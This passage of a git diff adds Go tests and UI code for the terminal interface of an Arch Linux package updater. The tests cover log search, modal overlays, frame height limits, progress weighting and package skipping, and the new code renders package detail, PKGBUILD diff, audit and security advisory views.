+ line := lastHintLine(plain(b.View(200, false, 0)))
+ if i := strings.Index(line, "help"); i < 0 || i < len(line)-20 {
+ t.Errorf("the help key is not at the end:\n%s", line)
+ }
+}
+
+// -- typing into the log search -------------------------------------------
+
+func TestTypingAWordContainingODoesNotCloseTheLog(t *testing.T) {
+ // "error" has an o in it, and o closed the view -- so the search ended
+ // halfway through the word and the whole log disappeared.
+ m := Model{build: NewBuildView([]string{"aur"}, 2), width: 100, height: 30,
+ cfg: testConfig(t)}
+ m.build.Apply(plan.Event{Event: "build", LogLines: []string{"error: boom"}})
+ m.build.OpenOutput()
+
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ m = next.(Model)
+ for _, r := range "error" {
+ if m.build.Output == nil {
+ t.Fatalf("the log closed while typing %q", string(r))
+ }
+ next, _ = m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{r}})
+ m = next.(Model)
+ }
+ if m.build.Output == nil {
+ t.Fatal("the log closed during the search")
+ }
+ if got := m.build.Output.query; got != "error" {
+ t.Errorf("the query is %q, want %q", got, "error")
+ }
+}
+
+func TestOStillClosesTheLogWhenNotSearching(t *testing.T) {
+ m := Model{build: NewBuildView([]string{"aur"}, 2), width: 100, height: 30,
+ cfg: testConfig(t)}
+ m.build.Apply(plan.Event{Event: "build", LogLines: []string{"x"}})
+ m.build.OpenOutput()
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'o'}})
+ if next.(Model).build.Output != nil {
+ t.Error("o did not close the log")
+ }
+}
+
+func TestAModalCanOpenOverTheDashboard(t *testing.T) {
+ m := Model{build: NewBuildView([]string{"aur"}, 2), width: 100, height: 30,
+ cfg: testConfig(t)}
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'?'}})
+ m = next.(Model)
+ if m.modal == nil {
+ t.Fatal("? did not open the keymap over the dashboard")
+ }
+ view := plain(m.View())
+ if !strings.Contains(view, "KEYMAP") {
+ t.Errorf("the keymap is not on screen:\n%s", view)
+ }
+ next, _ = m.Update(tea.KeyMsg{Type: tea.KeyEscape})
+ if next.(Model).modal != nil {
+ t.Error("esc did not close the keymap")
+ }
+}
+
+func TestTheSearchFooterHasNoLiteralMarkup(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 2)
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"error one", "error two"}})
+ b.OpenOutput()
+ for _, r := range "/error" {
+ b.Output.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{r}})
+ }
+ view := b.Output.View(100, 24)
+ for _, leaked := range []string{"{underline}", "{/}", "{bold}", "{-}"} {
+ if strings.Contains(view, leaked) {
+ t.Errorf("style markup leaked into the footer: %q\n%s", leaked, view)
+ }
+ }
+ if !strings.Contains(plain(view), "2 match(es)") {
+ t.Errorf("the match count is missing:\n%s", plain(view))
+ }
+}
+
+// -- the stream keeps being read, whatever is open -------------------------
+
+func TestOpeningAModalDoesNotStallTheRun(t *testing.T) {
+ // The events used to be handed to the modal first. It ignored them and
+ // returned no command, so the next read was never issued, the backend's
+ // stdout pipe filled, and the backend blocked on write -- the build
+ // stopped and the clock froze at whatever it read last. Pressing ? during
+ // a compile was enough.
+ events := make(chan plan.Event, 4)
+ m := Model{build: NewBuildView([]string{"aur"}, 3),
+ stream: &plan.Stream{Events: events},
+ width: 100, height: 30, cfg: testConfig(t)}
+ m.build.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 3})
+
+ m.modal = newRunHelp()
+
+ next, cmd := m.Update(streamEventMsg{event: plan.Event{
+ Event: "build", Packages: []plan.BuildState{
+ {Name: "helix-git", Phase: "cargo", Workers: "rustc ×3"}}}})
+ m = next.(Model)
+
+ if cmd == nil {
+ t.Fatal("the reader was not re-armed, so nothing more will ever arrive")
+ }
+ if len(m.build.Running) != 1 {
+ t.Errorf("the event was dropped: %+v", m.build.Running)
+ }
+ if m.modal == nil {
+ t.Error("the modal was closed by a stream event")
+ }
+}
+
+func TestAProtocolErrorDoesNotStallTheRunEither(t *testing.T) {
+ m := Model{build: NewBuildView([]string{"aur"}, 3),
+ stream: &plan.Stream{Events: make(chan plan.Event, 1)},
+ width: 100, height: 30, cfg: testConfig(t)}
+ m.modal = newRunHelp()
+ _, cmd := m.Update(streamErrorMsg{err: errFake{}})
+ if cmd == nil {
+ t.Fatal("a protocol error stopped the reader")
+ }
+}
+
+type errFake struct{}
+
+func (errFake) Error() string { return "unparseable line" }
+
+// -- the frame never exceeds the terminal ---------------------------------
+
+func TestAdversarialNewlinesCannotOverflow(t *testing.T) {
+ // The height budget counts slice elements, and every element is built from
+ // a backend string that nothing guarantees holds no newline. Before the
+ // backstop, a 100-newline message produced 617 lines for a 24-line
+ // terminal and pushed the run controls off the bottom.
+ cases := map[string]func(*BuildView){
+ "message": func(b *BuildView) { b.AddMessage("first\nsecond\nthird\nfourth") },
+ "newlines": func(b *BuildView) { b.AddMessage(strings.Repeat("\n", 100)) },
+ "detail": func(b *BuildView) { b.AddMessage("x", "a\nb\nc") },
+ "log": func(b *BuildView) {
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"a\nb\nc\nd"}})
+ },
+ "feed": func(b *BuildView) {
+ b.Apply(plan.Event{Event: "finished", Name: "pkg\n\n\n\n", State: "done"})
+ },
+ "recovery": func(b *BuildView) {
+ b.Apply(plan.Event{Event: "recovery", RecoveryLabel: "l\n\n\n\n\n",
+ RecoveryNote: strings.Repeat("\n", 10)})
+ },
+ }
+ for name, setup := range cases {
+ for _, height := range []int{10, 12, 20, 24, 40} {
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 3})
+ setup(b)
+ if n := len(strings.Split(b.View(100, false, height), "\n")); n > height {
+ t.Errorf("%s at height %d produced %d lines", name, height, n)
+ }
+ }
+ }
+}
+
+func TestTheStatusCannotPushTheFramePastTheTerminal(t *testing.T) {
+ // The status appears mid-run, exactly while the reader is trying to abort.
+ m := loaded(t, sample(), 100, 30)
+ m.setStatus("a transaction is in progress")
+ if n := len(strings.Split(m.View(), "\n")); n > 30 {
+ t.Errorf("status pushed the frame to %d lines", n)
+ }
+}
+
+func TestTheFeedOnlyViewIsBounded(t *testing.T) {
+ // This rendered every entry ever seen: thousands of finished packages is a
+ // megabyte a frame, five times a second.
+ b := NewBuildView([]string{"aur"}, 5000)
+ for i := 0; i < 5000; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("p%d", i), State: "done"})
+ }
+ b.Dashboard = false
+ view := b.View(100, true, 24)
+ if n := len(strings.Split(view, "\n")); n > 24 {
+ t.Errorf("the feed-only view produced %d lines", n)
+ }
+ if !strings.Contains(view, "p4999") {
+ t.Error("the newest entry is not shown")
+ }
+}
+
+func TestALaterPhaseDoesNotReadAsFinished(t *testing.T) {
+ // The repo phase finished 40 packages, then the AUR phase started with 11
+ // of its own. Taking the phase total made the bar read 40/40 -- full --
+ // with an entire phase still to run and nothing left in "waiting".
+ b := NewBuildView([]string{"repo", "aur"}, 51)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"repo", "aur"}, Total: 51})
+ b.Apply(plan.Event{Event: "phase_start", Phase: "repo", Total: 40})
+ for i := 0; i < 40; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("r%d", i), State: "done"})
+ }
+ b.Apply(plan.Event{Event: "phase_start", Phase: "aur", Total: 11})
+
+ view := plain(b.View(110, true, 30))
+ if strings.Contains(view, "40/40") {
+ t.Errorf("the bar reads complete with a phase still to run:\n%s", view)
+ }
+ if !strings.Contains(view, "40/51") {
+ t.Errorf("the run is not shown against its own total:\n%s", view)
+ }
+ if !strings.Contains(view, "11 waiting") {
+ t.Errorf("the packages still to come are not counted:\n%s", view)
+ }
+}
+
+func TestSearchingTheLogShowsTheMatch(t *testing.T) {
+ // The view followed the stream, so a committed search jumped to the first
+ // hit and was then dragged back to the end on the very next render: it
+ // reported "3 matches" while showing the wrong part of the log.
+ b := NewBuildView([]string{"aur"}, 2)
+ var lines []string
+ for i := 0; i < 400; i++ {
+ lines = append(lines, fmt.Sprintf("line %d", i))
+ }
+ b.Apply(plan.Event{Event: "build", LogLines: lines})
+ b.Apply(plan.Event{Event: "build", LogLines: []string{"error: the first one"}})
+ b.OpenOutput()
+ if !b.Output.follow {
+ t.Fatal("the log should open following the end")
+ }
+
+ for _, r := range "/error" {
+ b.Output.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{r}})
+ }
+ b.Output.Update(tea.KeyMsg{Type: tea.KeyEnter})
+
+ if b.Output.follow {
+ t.Error("a committed search is still following the end")
+ }
+ view := plain(b.Output.View(100, 24))
+ if !strings.Contains(view, "error: the first one") {
+ t.Errorf("the match is not on screen:\n%s", view)
+ }
+}
+
+// -- the finished list -----------------------------------------------------
+
+func TestTheFinishedListCanBeReadInFull(t *testing.T) {
+ // The dashboard shows the tail of the list and "… N earlier" is not a
+ // thing a reader can look at.
+ b := NewBuildView([]string{"aur"}, 200)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 200})
+ for i := 0; i < 200; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("pkg-%03d", i),
+ Version: "1.0-1", State: "done", Elapsed: 1})
+ }
+ if strings.Contains(plain(b.View(110, true, 30)), "pkg-000") {
+ t.Fatal("the dashboard shows the whole list already")
+ }
+ b.OpenFinished()
+ view := plain(b.Output.View(100, 24))
+ if !strings.Contains(view, "200 done") {
+ t.Errorf("the title does not count them:\n%s", view)
+ }
+ if !strings.Contains(view, "pkg-199") {
+ t.Errorf("the newest is not shown:\n%s", view)
+ }
+ // scroll back to the start
+ for i := 0; i < 400; i++ {
+ b.Output.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'k'}})
+ }
+ if got := plain(b.Output.View(100, 24)); !strings.Contains(got, "pkg-000") {
+ t.Errorf("the oldest cannot be reached:\n%s", got)
+ }
+}
+
+func TestAFailedPackageSaysWhyInTheList(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 3})
+ b.Apply(plan.Event{Event: "failed", Name: "broken-git",
+ FailureReason: "error: could not compile `x`", Elapsed: 12})
+ b.OpenFinished()
+ if got := plain(b.Output.View(100, 20)); !strings.Contains(got, "could not compile") {
+ t.Errorf("the reason is missing:\n%s", got)
+ }
+}
+
+func TestTheFinishedListFollowsWhileItGrows(t *testing.T) {
+ b := NewBuildView([]string{"aur"}, 3)
+ b.Apply(plan.Event{Event: "finished", Name: "first", State: "done"})
+ b.OpenFinished()
+ b.Apply(plan.Event{Event: "finished", Name: "second", State: "done"})
+ if got := plain(b.Output.View(100, 20)); !strings.Contains(got, "second") {
+ t.Errorf("the list did not follow:\n%s", got)
+ }
+}
+
+func TestTheStatusIsPrintedOnce(t *testing.T) {
+ // It was rendered by renderFooter and appended again by View, and the
+ // duplicate pushed the filter prompt off the bottom while typing.
+ m := loaded(t, sample(), 100, 30)
+ m.setStatus("a thing happened")
+ if n := strings.Count(plain(m.View()), "a thing happened"); n != 1 {
+ t.Errorf("the status appears %d times", n)
+ }
+}
+
+// -- skipping the package in progress --------------------------------------
+
+func TestASkippedPackageIsResolvedNotFailed(t *testing.T) {
+ // Nothing went wrong and nothing is lost, so it must not be counted with
+ // the failures -- and it must still move the run along, because the
+ // package is not going to be built.
+ b := NewBuildView([]string{"aur"}, 12)
+ b.Apply(plan.Event{Event: "start", Phases: []string{"aur"}, Total: 12})
+ b.Apply(plan.Event{Event: "phase_start", Phase: "aur", Total: 4})
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "mangowm-git", Phase: "cargo", Elapsed: 90}}})
+ if !b.CanSkip() {
+ t.Fatal("a package is building in the AUR phase and cannot be skipped")
+ }
+ b.Apply(plan.Event{Event: "skipped", Name: "mangowm-git"})
+
+ done, failed := b.counts()
+ if failed != 0 {
+ t.Errorf("a skip was counted as a failure: %d", failed)
+ }
+ if done != 1 {
+ t.Errorf("a skip did not move the run along: %d done", done)
+ }
+ if len(b.Running) != 0 {
+ t.Errorf("it is still shown as building: %+v", b.Running)
+ }
+ if got := plain(b.View(100, true, 24)); !strings.Contains(got, "- mangowm-git") {
+ t.Errorf("the row has no mark of its own:\n%s", got)
+ }
+}
+
+func TestOnlyTheAurPhaseHasAPackageToSkip(t *testing.T) {
+ // The repository and flatpak phases are one transaction. A package cannot
+ // be lifted out of one without unpicking what the database has already
+ // been told, so the key must not pretend otherwise.
+ for _, phase := range []string{"repo", "flatpak"} {
+ b := NewBuildView([]string{"repo", "aur", "flatpak"}, 12)
+ b.Apply(plan.Event{Event: "phase_start", Phase: phase, Total: 4})
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "linux", Phase: "install", Elapsed: 3}}})
+ if b.CanSkip() {
+ t.Errorf("%s claims a package can be skipped on its own", phase)
+ }
+ }
+}
+
+func TestSkippingTellsTheBackend(t *testing.T) {
+ asked := 0
+ b := NewBuildView([]string{"aur"}, 12)
+ b.Apply(plan.Event{Event: "phase_start", Phase: "aur", Total: 4})
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "mangowm-git", Phase: "cargo"}}})
+ m := Model{build: b, stream: &plan.Stream{Skip: func() { asked++ }},
+ width: 100, height: 30, cfg: testConfig(t)}
+
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'s'}})
+ if asked != 1 {
+ t.Errorf("the backend was asked %d times", asked)
+ }
+ if got := next.(Model).status; !strings.Contains(got, "mangowm-git") {
+ t.Errorf("the status does not say what is being skipped: %q", got)
+ }
+}
+
+func TestSkippingInATransactionPhaseSaysWhyNot(t *testing.T) {
+ b := NewBuildView([]string{"repo"}, 12)
+ b.Apply(plan.Event{Event: "phase_start", Phase: "repo", Total: 4})
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "linux", Phase: "install"}}})
+ m := Model{build: b, stream: &plan.Stream{Skip: func() {
+ t.Error("the backend was asked to skip inside a transaction")
+ }}, width: 100, height: 30, cfg: testConfig(t)}
+
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'s'}})
+ if got := next.(Model).status; !strings.Contains(got, "cannot be skipped") {
+ t.Errorf("no explanation was given: %q", got)
+ }
+}
+
+func TestTheBarBarelyMovesWhileFastPackagesFinish(t *testing.T) {
+ // Forty downloads at a second each, then one real build. Counting them
+ // alike put the bar at 40/41 -- nearly full -- before any compiling had
+ // started, which is what made it useless as a measure of the run.
+ b := NewBuildView([]string{"repo", "aur"}, 45)
+ weights := map[string]int{}
+ for i := 0; i < 40; i++ {
+ weights[fmt.Sprintf("r%d", i)] = 1
+ }
+ weights["helix-git"] = 60
+ b.Apply(plan.Event{Event: "start", Phases: []string{"repo", "aur"}, Total: 45,
+ Weight: 40 + 60 + 4, Weights: weights})
+
+ for i := 0; i < 40; i++ {
+ b.Apply(plan.Event{Event: "finished", Name: fmt.Sprintf("r%d", i),
+ State: "done", Elapsed: 1})
+ }
+ b.Apply(plan.Event{Event: "build", Packages: []plan.BuildState{
+ {Name: "helix-git", Phase: "cargo", Elapsed: 30}}})
+
+ view := plain(b.View(110, true, 30))
+ if strings.Contains(view, "40/40") {
+ t.Errorf("the bar is full before the build has finished:\n%s", view)
+ }
+ if !strings.Contains(view, "40/104") {
+ t.Errorf("the bar is not measuring work:\n%s", view)
+ }
+ // and the footer still counts packages, not work
+ if !strings.Contains(view, "✓ 40 done") {
+ t.Errorf("the footer stopped counting packages:\n%s", view)
+ }
+}
diff --git a/tui/internal/ui/detail_modal.go b/tui/internal/ui/detail_modal.go
@@ -0,0 +1,358 @@
+package ui
+
+import (
+ "fmt"
+ "strings"
+ "time"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/x/ansi"
+
+ "updater-tui/internal/plan"
+)
+
+// detailTabs are the four questions you can ask about a package. They are tabs
+// rather than separate keys because they are the same question at different
+// depths, and switching between them is the whole point of drilling down.
+var detailTabs = []string{"DIFF", "AUDIT", "SECURITY", "INFO"}
+
+// detailMsg carries a fetched payload back into the update loop.
+type detailMsg struct {
+ pkg string
+ detail *plan.Detail
+ err error
+}
+
+// detailModal is the drill-down overlay.
+type detailModal struct {
+ pkg string
+ detail *plan.Detail
+ loading bool
+ err error
+ tab int
+ scroll int
+ lines []string
+ built bool
+ width int
+}
+
+func newDetail(pkg string, width int) *detailModal {
+ return &detailModal{pkg: pkg, loading: true, width: width}
+}
+
+func (d *detailModal) Update(msg tea.Msg) (modal, tea.Cmd) {
+ switch msg := msg.(type) {
+ case detailMsg:
+ if msg.pkg != d.pkg {
+ return d, nil // a stale fetch for a package we have moved on from
+ }
+ d.loading = false
+ d.detail, d.err = msg.detail, msg.err
+ d.built = false
+ return d, nil
+
+ case tea.KeyMsg:
+ switch msg.String() {
+ case "q", "esc", "ctrl+c":
+ return nil, nil
+ case "tab", "l", "right":
+ d.tab = (d.tab + 1) % len(detailTabs)
+ d.scroll, d.built = 0, false
+ case "shift+tab", "h", "left":
+ d.tab--
+ if d.tab < 0 {
+ d.tab = len(detailTabs) - 1
+ }
+ d.scroll, d.built = 0, false
+ case "j", "down":
+ d.scroll++
+ case "k", "up":
+ d.scroll--
+ case "ctrl+d", "pgdown":
+ d.scroll += 10
+ case "ctrl+u", "pgup":
+ d.scroll -= 10
+ case "g", "home":
+ d.scroll = 0
+ case "G", "end":
+ d.scroll = 1 << 30
+ }
+ }
+ return d, nil
+}
+
+func (d *detailModal) View(width, height int) string {
+ var b strings.Builder
+ title := Title.Render(d.pkg)
+ if d.detail != nil {
+ // A version that goes backwards is not an upgrade, and the arrow alone
+ // does not say so. The list marks it; the title must too.
+ mark := ""
+ if d.detail.Downgrade {
+ mark = Outgoing.Render("D") + " "
+ }
+ title += " " + mark + Muted.Render(fmt.Sprintf("%s → %s",
+ d.detail.Installed, d.detail.Available))
+ }
+ b.WriteString(ansi.Truncate(title, max(8, innerWidth(width)), "…"))
+ b.WriteString("\n\n")
+
+ if d.loading {
+ b.WriteString(Muted.Render("loading…"))
+ return place(Box.Render(b.String()), width, height)
+ }
+ if d.err != nil {
+ b.WriteString(Err.Render("could not load detail") + "\n\n" +
+ Muted.Render(d.err.Error()))
+ return place(Box.Render(b.String()), width, height)
+ }
+
+ b.WriteString(tabBar(detailTabs, d.tab))
+ b.WriteString("\n\n")
+
+ inner := innerWidth(width)
+ rows := height - 10
+ if rows < 3 {
+ rows = 3
+ }
+
+ if !d.built {
+ d.lines = d.build(d.detail, inner)
+ d.built = true
+ }
+ total := len(d.lines)
+ if d.scroll > total-rows {
+ d.scroll = total - rows
+ }
+ if d.scroll < 0 {
+ d.scroll = 0
+ }
+ end := min(total, d.scroll+rows)
+ for _, line := range d.lines[d.scroll:end] {
+ b.WriteString(ansi.Truncate(line, inner, "…") + "\n")
+ }
+ for i := end - d.scroll; i < rows; i++ {
+ b.WriteString("\n")
+ }
+
+ pos := fmt.Sprintf("[%d/%d]", d.scroll+1, max(1, total))
+ hint := "[tab] section • [j/k] scroll • [esc] close"
+ gap := inner - ansi.StringWidth(hint) - len(pos)
+ if gap < 1 {
+ gap = 1
+ }
+ b.WriteString("\n" + Desc.Render(hint) + strings.Repeat(" ", gap) + Muted.Render(pos))
+
+ return place(Box.Render(b.String()), width, height)
+}
+
+// innerWidth is the usable interior of a modal box, once the border and padding
+// are accounted for.
+func innerWidth(width int) int { return max(20, width-8) }
+
+func (d *detailModal) build(detail *plan.Detail, width int) []string {
+ switch d.tab {
+ case 0:
+ return d.buildDiff(detail, width)
+ case 1:
+ return d.buildAudit(detail, width)
+ case 2:
+ return d.buildSecurity(detail, width)
+ default:
+ return d.buildInfo(detail, width)
+ }
+}
+
+func (d *detailModal) buildDiff(detail *plan.Detail, width int) []string {
+ var out []string
+ // BaselineNote is set by the backend and says which revision was used, or
+ // why none was. Never invent a reason here: "recorded after the first build"
+ // was a guess, and it was wrong for a package paru simply has not downloaded.
+ if detail.BaselineNote != "" {
+ out = append(out, Muted.Render(detail.BaselineNote))
+ } else {
+ out = append(out, Muted.Render(detail.BaselineLabel()))
+ }
+
+ diff := detail.Diff
+ if len(diff.Lines) == 0 {
+ if len(detail.Pkgbuild) > 0 {
+ out = append(out, "", Warn.Render("no diff — showing the current PKGBUILD"), "")
+ for i, text := range detail.Pkgbuild {
+ out = append(out, Muted.Render(fmt.Sprintf("%4d ", i+1))+Ver.Render(text))
+ }
+ return out
+ }
+ out = append(out, "", Muted.Render("nothing to diff"),
+ Muted.Render("and no PKGBUILD could be fetched either"))
+ return out
+ }
+
+ out = append(out, "",
+ Incoming.Render(fmt.Sprintf("+%d", diff.Added))+" "+
+ Err.Render(fmt.Sprintf("-%d", diff.Removed))+
+ Muted.Render(fmt.Sprintf(" %d lines", len(diff.Lines))), "")
+ if diff.Truncated {
+ out = append(out, Warn.Render("truncated — the full diff is larger"), "")
+ }
+ for _, line := range diff.Lines {
+ if line.Kind == "gap" {
+ out = append(out, Muted.Render(" ⋮"))
+ continue
+ }
+ oldNo, newNo := " ", " "
+ if line.Old != nil {
+ oldNo = fmt.Sprintf("%4d", *line.Old)
+ }
+ if line.New != nil {
+ newNo = fmt.Sprintf("%4d", *line.New)
+ }
+ marker, style := " ", Muted
+ switch line.Kind {
+ case "add":
+ marker, style = "+", Incoming
+ case "del":
+ marker, style = "-", Outgoing
+ }
+ text := ansi.Truncate(line.Text, max(10, width-18), "…")
+ out = append(out, Muted.Render(oldNo+" "+newNo)+" "+style.Render(marker+" "+text))
+ }
+ return out
+}
+
+func (d *detailModal) buildAudit(detail *plan.Detail, width int) []string {
+ if len(detail.Findings) == 0 {
+ return []string{
+ Incoming.Render("nothing unusual"),
+ "",
+ Muted.Render("no patterns were newly introduced in this revision"),
+ Muted.Render("compared with: " + detail.BaselineLabel()),
+ }
+ }
+ var out []string
+ out = append(out, Title.Render(fmt.Sprintf("%d finding(s)", len(detail.Findings))), "")
+ for _, f := range detail.Findings {
+ style := role(f.Role())
+ out = append(out, style.Render(f.Glyph()+" "+f.Title))
+ if f.Evidence != "" {
+ out = append(out, " "+Ver.Render(ansi.Truncate(f.Evidence, max(10, width-6), "…")))
+ }
+ where := f.Rule
+ if f.Where != "" {
+ where += " in " + f.Where
+ }
+ out = append(out, " "+Muted.Render(ansi.Truncate(where,
+ max(4, width-4), "…")), "")
+ }
+ return out
+}
+
+func (d *detailModal) buildSecurity(detail *plan.Detail, width int) []string {
+ if len(detail.Advisories) == 0 {
+ return []string{Incoming.Render("no advisories affect this package")}
+ }
+ var out []string
+ for _, a := range detail.Advisories {
+ style := OK
+ if a.HasFix() {
+ style = Warn
+ }
+ head := style.Render(a.Severity)
+ if a.HasFix() {
+ head += " " + Incoming.Render("fixed in "+a.Fixed)
+ } else {
+ head += " " + Muted.Render("no fix available")
+ }
+ out = append(out, ansi.Truncate(head, width, "…"),
+ ansi.Truncate(" "+Title.Render(a.ID)+" "+Muted.Render(a.Kind),
+ width, "…"))
+ for i, issue := range a.Issues {
+ if i >= 12 {
+ out = append(out, " "+Muted.Render(
+ fmt.Sprintf("+ %d more", len(a.Issues)-12)))
+ break
+ }
+ out = append(out, " "+Ver.Render(issue))
+ }
+ out = append(out, " "+Muted.Render(a.URL), "")
+ }
+ return out
+}
+
+func (d *detailModal) buildInfo(detail *plan.Detail, width int) []string {
+ field := func(label, value string) string {
+ if value == "" {
+ value = "—"
+ }
+ return Muted.Render(fmt.Sprintf("%-14s", label)) + Text.Render(
+ ansi.Truncate(value, max(10, width-16), "…"))
+ }
+ var out []string
+ out = append(out,
+ field("package", detail.Package),
+ field("kind", detail.Kind),
+ field("installed", detail.Installed),
+ field("available", detail.Available),
+ "",
+ field("baseline", detail.BaselineLabel()),
+ )
+ if detail.CurrentCommit != "" {
+ out = append(out,
+ field("aur head", shortSHA(detail.CurrentCommit)+" "+detail.CurrentCommitSummary),
+ field("committed", formatWhen(detail.CurrentCommitWhen)))
+ }
+
+ m := detail.Meta
+ if m.Maintainer != "" || m.Votes > 0 || m.URL != "" {
+ out = append(out, "")
+ maintainer := m.Maintainer
+ if m.Orphaned || maintainer == "" {
+ maintainer = "ORPHANED"
+ }
+ out = append(out, field("maintainer", maintainer))
+ if m.Votes > 0 {
+ out = append(out, field("votes", fmt.Sprintf("%d (popularity %.2f)",
+ m.Votes, m.Popularity)))
+ }
+ out = append(out, field("upstream", m.URL))
+ }
+ if len(m.Depends) > 0 {
+ out = append(out, "", Muted.Render("depends"))
+ out = append(out, ansi.Truncate(" "+Ver.Render(strings.Join(m.Depends, ", ")),
+ width, "…"))
+ }
+ if len(m.MakeDepends) > 0 {
+ out = append(out, "", Muted.Render("make depends"))
+ out = append(out, ansi.Truncate(
+ " "+Ver.Render(strings.Join(m.MakeDepends, ", ")), width, "…"))
+ }
+ deps := planDepends(detail)
+ if deps != "" {
+ out = append(out, "", Muted.Render("in-set dependencies"), " "+Text.Render(deps))
+ }
+ return out
+}
+
+// planDepends is left as a hook: the plan carries the graph, the detail does not.
+func planDepends(detail *plan.Detail) string {
+ _ = detail
+ return ""
+}
+
+func shortSHA(sha string) string {
+ if len(sha) > 8 {
+ return sha[:8]
+ }
+ return sha
+}
+
+func formatWhen(stamp string) string {
+ if stamp == "" {
+ return ""
+ }
+ t, err := time.Parse(time.RFC3339, stamp)
+ if err != nil {
+ return stamp
+ }
+ return t.Format("2006-01-02")
+}
diff --git a/tui/internal/ui/detail_render.go b/tui/internal/ui/detail_render.go
@@ -0,0 +1,169 @@
+package ui
+
+import (
+ "fmt"
+ "strings"
+
+ "updater-tui/internal/plan"
+)
+
+// field renders a label and value on one line, with the label in the muted role
+// so the values are what the eye lands on.
+func field(label, value string) string {
+ if value == "" {
+ value = "—"
+ }
+ return Muted.Render(fmt.Sprintf(" %-12s", label)) + Text.Render(value)
+}
+
+// advisoryLines renders a tracker record. Everything worth knowing is here so
+// that following the link is genuinely optional.
+func advisoryLines(d *plan.AdvisoryDetail) []string {
+ if !d.Available {
+ return []string{
+ Err.Render("the tracker could not be reached"),
+ "",
+ Muted.Render(d.Reason),
+ "",
+ Muted.Render("The advisory is still listed by arch-audit; only the"),
+ Muted.Render("extra detail needs the network."),
+ }
+ }
+
+ // severity decides the colour; whether a fix exists is its own field
+ style := StylesByRole(advisoryRole(d.Severity))
+
+ // the title already carries the id, so do not repeat it here
+ out := []string{
+ style.Render(d.Severity) + " " + Muted.Render(d.Status),
+ "",
+ field("type", d.Kind),
+ field("affected", d.Affected),
+ field("fixed", fixedLabel(d.Fixed)),
+ field("packages", strings.Join(d.Packages, ", ")),
+ field("ticket", d.Ticket),
+ field("notes", d.Notes),
+ }
+ if len(d.Advisories) > 0 {
+ out = append(out, field("see also", strings.Join(d.Advisories, ", ")))
+ }
+
+ out = append(out, "", Title.Render(fmt.Sprintf("%d CVE(s)", len(d.Issues))), "")
+ if len(d.Issues) == 0 {
+ out = append(out, Muted.Render(" the tracker recorded no CVE identifiers"))
+ }
+ for _, issue := range d.Issues {
+ out = append(out, " "+Ver.Render(issue))
+ }
+
+ if len(d.References) > 0 {
+ out = append(out, "", Title.Render("REFERENCES"), "")
+ for _, ref := range d.References {
+ out = append(out, " "+Muted.Render(ref))
+ }
+ }
+ out = append(out, "", Muted.Render(" "+d.URL))
+ return out
+}
+
+func fixedLabel(fixed string) string {
+ if fixed == "" {
+ return "no fix available for this version"
+ }
+ return fixed
+}
+
+// securityLines renders a fresh arch-audit run, fixable first.
+func securityLines(r *plan.SecurityReport) []string {
+ if !r.Available {
+ return []string{Err.Render("arch-audit could not run"), "",
+ Muted.Render(r.Reason)}
+ }
+ out := []string{
+ Title.Render(fmt.Sprintf("%d advisories", r.Total)) + " " +
+ Muted.Render(fmt.Sprintf("%d fixable · %d with no fix",
+ r.Fixable, r.Unfixable)),
+ "",
+ }
+ if r.Total == 0 {
+ return append(out, OK.Render(" nothing affects this system"))
+ }
+ for _, a := range r.Advisories {
+ // severity decides the colour; fixability is said in words
+ style := StylesByRole(advisoryRole(a.Severity))
+ fix := "no fix available"
+ if a.HasFix() {
+ fix = "fixed in " + a.Fixed
+ }
+ out = append(out, " "+style.Render(fmt.Sprintf("%-13s", a.Severity))+
+ Title.Render(fmt.Sprintf("%-11s", a.ID))+
+ Muted.Render(fix))
+ if len(a.Packages) > 0 {
+ out = append(out, " "+Ver.Render(strings.Join(a.Packages, ", "))+
+ Muted.Render(fmt.Sprintf(" %d CVE(s)", len(a.Issues))))
+ }
+ }
+ out = append(out, "", Muted.Render(" press enter on a Security row for the full record"))
+ return out
+}
+
+// queueMarker returns the glyph and role for a stage, so the eye can tell a
+// command from shell structure from something the audit flagged.
+func queueMarker(stage plan.Stage) (string, string) {
+ switch stage.Level {
+ case "danger":
+ return "!!", "err"
+ case "warn":
+ return " !", "warn"
+ case "hook":
+ return "~ ", "muted"
+ case "note":
+ return ". ", "muted"
+ default:
+ return "> ", "text"
+ }
+}
+
+// phaseLabel names a group of stages. Per-package phases carry the package in
+// the name, so "FETCH" does not appear eight times with nothing to tell them
+// apart.
+func phaseLabel(phase string) string {
+ if name, pkg, ok := strings.Cut(phase, ":"); ok && pkg != "" {
+ return phaseGroup(name) + " " + Muted.Render(pkg)
+ }
+ return phaseGroup(phase)
+}
+
+func phaseGroup(phase string) string {
+ switch {
+ case phase == "snapshot":
+ return "SNAPSHOT"
+ case phase == "sync":
+ return "SYNC"
+ case phase == "resolve":
+ return "RESOLVE"
+ case phase == "download":
